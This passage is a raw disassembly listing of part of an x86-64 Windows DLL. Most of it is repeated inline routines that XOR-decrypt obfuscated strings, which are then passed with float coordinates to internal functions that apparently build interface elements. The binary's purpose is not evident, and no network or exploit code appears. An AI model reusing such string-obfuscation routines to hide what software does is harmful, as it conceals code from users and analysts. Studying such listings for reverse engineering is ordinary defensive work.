xor byte [rbp + 0x1242], 0x34
xor byte [rbp + 0x1243], 0x35
xor byte [rbp + 0x1244], 0x36
xor byte [rbp + 0x1245], 0x37
xor byte [rbp + 0x1246], 0x38
xor byte [rbp + 0x1247], 0x39
mov word [rbp + 0x1248], cx
xor cl, 0x3a
xor byte [rbp + 0x1249], 0x3b
mov byte [rbp + 0x1248], cl
lea rcx, [rbp + 0x1240]
mov byte [rbp + 0x1240], 0x45
mov byte [rbp + 0x124a], al
call fcn.180009950
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.180024a20
movzx eax, byte [0x1801b6b78]
mov r8d, esi
movdqa xmm7, xmmword [0x1801bab60]
mov byte [rbp + 0x1f60], al
movups xmm0, xmmword [0x1801b6b68]
movups xmmword [rbp + 0x1f50], xmm0
cmp r12d, 2
jl 0x180080c41
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1f54]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180080b50
cmp r8d, 0x11
jge 0x180080c80
movsxd rax, r8d
lea r9, [rbp + 0x1f50]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x180080c50
mov r8d, 2
lea rdx, [0x1802402a4]
lea rcx, [rbp + 0x1f50]
call fcn.180009950
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.180024a20
mov eax, dword [0x1801b6b88]
mov r8d, esi
movsd xmm0, qword [0x1801b6b80]
mov dword [rbp + 0x1798], eax
movzx eax, byte [0x1801b6b8c]
mov byte [rbp + 0x179c], al
movsd qword [rbp + 0x1790], xmm0
cmp r12d, 2
jl 0x180080dba
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b6b80]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1790], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1794]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1794], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1790]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180080dd0
mov r8d, 3
lea rcx, [rbp + 0x1790]
jmp 0x1800805ad
call fcn.180014680
mov rcx, qword [0x180240250]
call fcn.180020fb0
call fcn.180017980
mov ecx, dword [str.yvmfse8]
mov rdi, rax
mov dword [rbp + 0x170], ecx
movzx ecx, word [0x1801b6b9c]
mov word [rbp + 0x174], cx
movdqa xmm8, xmmword [0x1801bab60]
movzx eax, byte [0x1801b6b9e]
lea rcx, [0x1801ff590]
xor byte [rbp + 0x171], 0x33
xor al, 0x38
xor byte [rbp + 0x172], 0x34
xor byte [rbp + 0x173], 0x35
xor byte [rbp + 0x174], 0x36
xor byte [rbp + 0x175], 0x37
mov byte [rbp + 0x176], al
mov qword [rsp + 0x91d0], r15
mov byte [rbp + 0x170], Ordinal_79
call fcn.180012540
movzx ecx, word [0x1801b6b94]
mov ebx, eax
mov eax, dword [0x1801b6b90]
mov dword [rbp + 0x178], eax
movzx eax, byte [0x1801b6b96]
xor byte [rbp + 0x179], 0x33
xor al, 0x38
xor byte [rbp + 0x17a], 0x34
xor byte [rbp + 0x17b], 0x35
mov word [rbp + 0x17c], cx
xor cl, 0x36
xor byte [rbp + 0x17d], 0x37
mov byte [rbp + 0x17c], cl
lea rcx, [rbp + 0x378]
mov byte [rbp + 0x17e], al
mov byte [rbp + 0x178], Ordinal_79
call fcn.1800179d0
lea rcx, [rbp + 0x380]
movss xmm7, dword [rax + 4]
addss xmm7, xmm6
movss xmm6, dword [rax]
addss xmm6, dword [0x1801a1880]
call fcn.1800179d0
unpcklps xmm6, xmm7
lea r9, [rbp + 0x178]
movq r8, xmm6
lea rcx, [rbp + 0x388]
movss xmm2, dword [rax + 4]
movss xmm1, dword [rax]
unpcklps xmm1, xmm2
movq rdx, xmm1
call fcn.1800781f0
lea r9, [rbp + 0x170]
mov qword [rsp + 0x20], rsi
mov r8d, ebx
mov rdx, rax
mov rcx, rdi
call fcn.180030f40
call fcn.1800209d0
cmp dword [0x1802402a0], esi
lea r14, [0x18023d940]
movss xmm7, dword [0x1801baad8]
lea rbx, [0x1801a7b4c]
lea rdi, str._0.2f
mov r13, 0xffffffffffffffff
jne 0x180092c38
cmp dword [0x1802402a4], esi
jne 0x1800842eb
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x390]
addss xmm0, xmm7
mov dword [rbp + 0x390], 0x43520000
movss dword [rbp + 0x394], xmm0
call fcn.1800255f0
mov eax, dword [0x1801b6ba0]
lea rdx, [rbp + 0x398]
mov dword [rbp - 0x28], eax
lea rcx, [rbp - 0x28]
movzx eax, byte [0x1801b6ba4]
mov r9d, 8
xor byte [rbp - 0x27], 0x33
xor al, 0x36
xor byte [rbp - 0x26], 0x34
xor r8d, r8d
xor byte [rbp - 0x25], 0x35
mov byte [rbp - 0x24], al
mov dword [rbp + 0x398], 0x43a50000
mov dword [rbp + 0x39c], 0x4405c000
mov byte [rbp - 0x28], Ordinal_79
call fcn.18000fbb0
mov eax, dword [0x1801b6ba8]
lea rdx, [rbp + 0x3a0]
mov dword [rbp - 0x20], eax
lea rcx, [rbp - 0x20]
movzx eax, byte [0x1801b6bac]
xor r9d, r9d
xor byte [rbp - 0x1f], 0x33
xor al, 0x36
xor byte [rbp - 0x1e], 0x34
mov r8b, 1
xor byte [rbp - 0x1d], 0x35
mov byte [rbp - 0x1c], al
mov dword [rbp + 0x3a0], 0x43a00000
mov dword [rbp + 0x3a4], 0x43ed8000
mov byte [rbp - 0x20], 0x53
call fcn.180003bf0
movzx ecx, word [0x1801b6bb4]
lea rdx, [0x18023bf69]
mov eax, dword [str.uPXYS8]
mov dword [rbp + 0x180], eax
movzx eax, byte [0x1801b6bb6]
xor byte [rbp + 0x181], 0x33
xor al, 0x38
xor byte [rbp + 0x182], 0x34
xor byte [rbp + 0x183], 0x35
mov word [rbp + 0x184], cx
xor cl, 0x36
xor byte [rbp + 0x185], 0x37
mov byte [rbp + 0x184], cl
lea rcx, [rbp + 0x180]
mov byte [rbp + 0x180], 0x47
mov byte [rbp + 0x186], al
call fcn.1800031c0
cmp byte [0x1801b6bc3], sil
movsd xmm0, qword [str.aVY_]
mov eax, dword [0x1801b6bc0]
movsd qword [rbp + 0x14b8], xmm0
mov dword [rbp + 0x14c0], eax
je 0x180081230
mov r8d, esi
cmp r12d, 2
jl 0x1800811f2
movd eax, xmm9
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm8
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.aVY_]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x14b8], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x14bc]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x14bc], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x14b8]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180081200
lea rdx, [0x18023bf86]
lea rcx, [rbp + 0x14b8]
call fcn.1800031c0
cmp byte [0x1801b6bd3], sil
movsd xmm0, qword [str.pZZQSS]
mov eax, dword [0x1801b6bd0]
movsd qword [rbp + 0x14c8], xmm0
mov dword [rbp + 0x14d0], eax
je 0x1800813a0
mov r8d, esi
cmp r12d, 2
jl 0x18008135c
movd eax, xmm9
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm8
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.pZZQSS]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x14c8], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x14cc]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x14cc], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x14c8]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180081370
lea rdx, [0x18023bf6e]
lea rcx, [rbp + 0x14c8]
call fcn.1800031c0
cmp byte [0x1801b6be1], sil
lea rdx, [0x18023bf6a]
movsd xmm0, qword [str._BEZU__]
lea rcx, [rbp + 0x1050]
movzx eax, word [0x1801b6be0]
movsd qword [rbp + 0x1050], xmm0
mov word [rbp + 0x1058], ax
je 0x18008142e
xor byte [rbp + 0x1051], 0x33
xor byte [rbp + 0x1052], 0x34
xor byte [rbp + 0x1053], 0x35
xor byte [rbp + 0x1054], 0x36
xor byte [rbp + 0x1055], 0x37
xor byte [rbp + 0x1056], 0x38
xor byte [rbp + 0x1057], 0x39
xor byte [rbp + 0x1058], 0x3a
xor byte [rbp + 0x1059], 0x3b
mov byte [rbp + 0x1050], Ordinal_79
call fcn.1800031c0
movzx eax, byte [0x1801b6bf8]
mov r8d, esi
movdqa xmm7, xmmword [0x1801bab60]
mov byte [rbp + 0x1f78], al
movups xmm0, xmmword [0x1801b6be8]
movups xmmword [rbp + 0x1f68], xmm0
cmp r12d, 2
jl 0x180081571
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1f6c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180081480
cmp r8d, 0x11
jge 0x1800815b0
movsxd rax, r8d
lea r9, [rbp + 0x1f68]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x180081580
lea rdx, [0x18023bf6d]
lea rcx, [rbp + 0x1f68]
call fcn.1800031c0
movups xmm0, xmmword [str.aD_X]
movups xmmword [rbp + 0x1df0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x180081740
cmp r12d, 2
jl 0x1800816fb
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1df4]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x180081610
jmp 0x180081740
lea r9, [rbp + 0x1df0]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x180081710
lea rdx, [0x18023bf6c]
lea rcx, [rbp + 0x1df0]
call fcn.1800031c0
movzx eax, word [0x1801b6c18]
lea rdx, [0x18023bf6b]
movsd xmm0, qword [0x1801b6c10]
lea rcx, [rbp + 0x1250]
movsd qword [rbp + 0x1250], xmm0
xor byte [rbp + 0x1251], 0x33
xor byte [rbp + 0x1252], 0x34
xor byte [rbp + 0x1253], 0x35
xor byte [rbp + 0x1254], 0x36
xor byte [rbp + 0x1255], 0x37
xor byte [rbp + 0x1256], 0x38
xor byte [rbp + 0x1257], 0x39
mov word [rbp + 0x1258], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x1258], 0x3a
xor al, 0x3c
xor byte [rbp + 0x1259], 0x3b
mov byte [rbp + 0x125a], al
mov byte [rbp + 0x1250], Ordinal_79
call fcn.1800031c0
mov eax, dword [0x1801b6c28]
mov r8d, esi
movsd xmm0, qword [str._QeCY_Q]
mov dword [rbp + 0x17a8], eax
movzx eax, byte [0x1801b6c2c]
mov byte [rbp + 0x17ac], al
movsd qword [rbp + 0x17a0], xmm0
cmp r12d, 2
jl 0x1800818ed
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str._QeCY_Q]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x17a0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x17a4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x17a4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x17a0]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180081900
lea rdx, [0x18023bf6f]
lea rcx, [rbp + 0x17a0]
call fcn.1800031c0
cmp byte [0x1801b6c3b], sil
movsd xmm0, qword [0x1801b6c30]
mov eax, dword [str.NR]
movsd qword [rbp + 0x14d8], xmm0
mov dword [rbp + 0x14e0], eax
je 0x180081aa0
mov r8d, esi
cmp r12d, 2
jl 0x180081a57
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b6c30]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x14d8], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x14dc]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x14dc], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x14d8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180081a70
lea rdx, [0x18023bfb0]
lea rcx, [rbp + 0x14d8]
call fcn.1800031c0
movzx eax, word [0x1801b6c48]
lea r8, [0x18023c270]
movsd xmm0, qword [str.b_MF_T]
lea rdx, [0x18023bf65]
movsd qword [rbp + 0x1260], xmm0
lea rcx, [rbp + 0x1260]
xor byte [rbp + 0x1261], 0x33
xor byte [rbp + 0x1262], 0x34
xor byte [rbp + 0x1263], 0x35
xor byte [rbp + 0x1264], 0x36
xor byte [rbp + 0x1265], 0x37
xor byte [rbp + 0x1266], 0x38
xor byte [rbp + 0x1267], 0x39
mov word [rbp + 0x1268], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x1268], 0x3a
xor al, 0x3c
xor byte [rbp + 0x1269], 0x3b
mov byte [rbp + 0x126a], al
mov byte [rbp + 0x1260], 0x50
call fcn.18006dda0
cmp byte [0x18023bf65], sil
je 0x1800820a5
call fcn.180016840
movss xmm6, dword [0x1801a17d4]
addss xmm0, xmm6
call fcn.180025650
cmp byte [0x1801b6c5d], sil
mov eax, dword [0x1801b6c58]
movsd xmm0, qword [0x1801b6c50]
movzx ebx, byte [0x18023bf66]
mov dword [rbp + 0x19e8], eax
movzx eax, word [0x1801b6c5c]
mov word [rbp + 0x19ec], ax
movsd qword [rbp + 0x19e0], xmm0
je 0x180081cd0
mov r8d, esi
cmp r12d, 2
jl 0x180081c8c
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b6c50]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x19e0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x19e4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x19e4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x19e0]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180081ca0
lea rdx, [0x18023bf66]
lea rcx, [rbp + 0x19e0]
call fcn.1800031c0
movzx eax, byte [0x18023bf66]
test al, al
je 0x180081f06
test bl, bl
jne 0x180081f02
cmp byte [0x1802402a8], sil
jne 0x180081f02
movups xmm0, xmmword [0x1801b6c60]
mov r8d, esi
movups xmm1, xmmword [0x1801b6c70]
movzx eax, word [0x1801b6cc8]
movups xmmword [rbp + 0x2d20], xmm0
movups xmm0, xmmword [0x1801b6c80]
movups xmmword [rbp + 0x2d40], xmm0
movups xmm0, xmmword [0x1801b6ca0]
movups xmmword [rbp + 0x2d30], xmm1
movups xmm1, xmmword [0x1801b6c90]
movups xmmword [rbp + 0x2d60], xmm0
movsd xmm0, qword [0x1801b6cc0]
movups xmmword [rbp + 0x2d50], xmm1
movups xmm1, xmmword [0x1801b6cb0]
movsd qword [rbp + 0x2d80], xmm0
movups xmmword [rbp + 0x2d70], xmm1
mov word [rbp + 0x2d88], ax
cmp r12d, 2
jl 0x180081e91
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x2d24]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x68
jl 0x180081da0
cmp r8d, 0x6a
jge 0x180081ed0
movsxd rax, r8d
lea r9, [rbp + 0x2d20]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x6a
jl 0x180081ea0
lea r8, [rbp + 0x2d20]
mov edx, 2
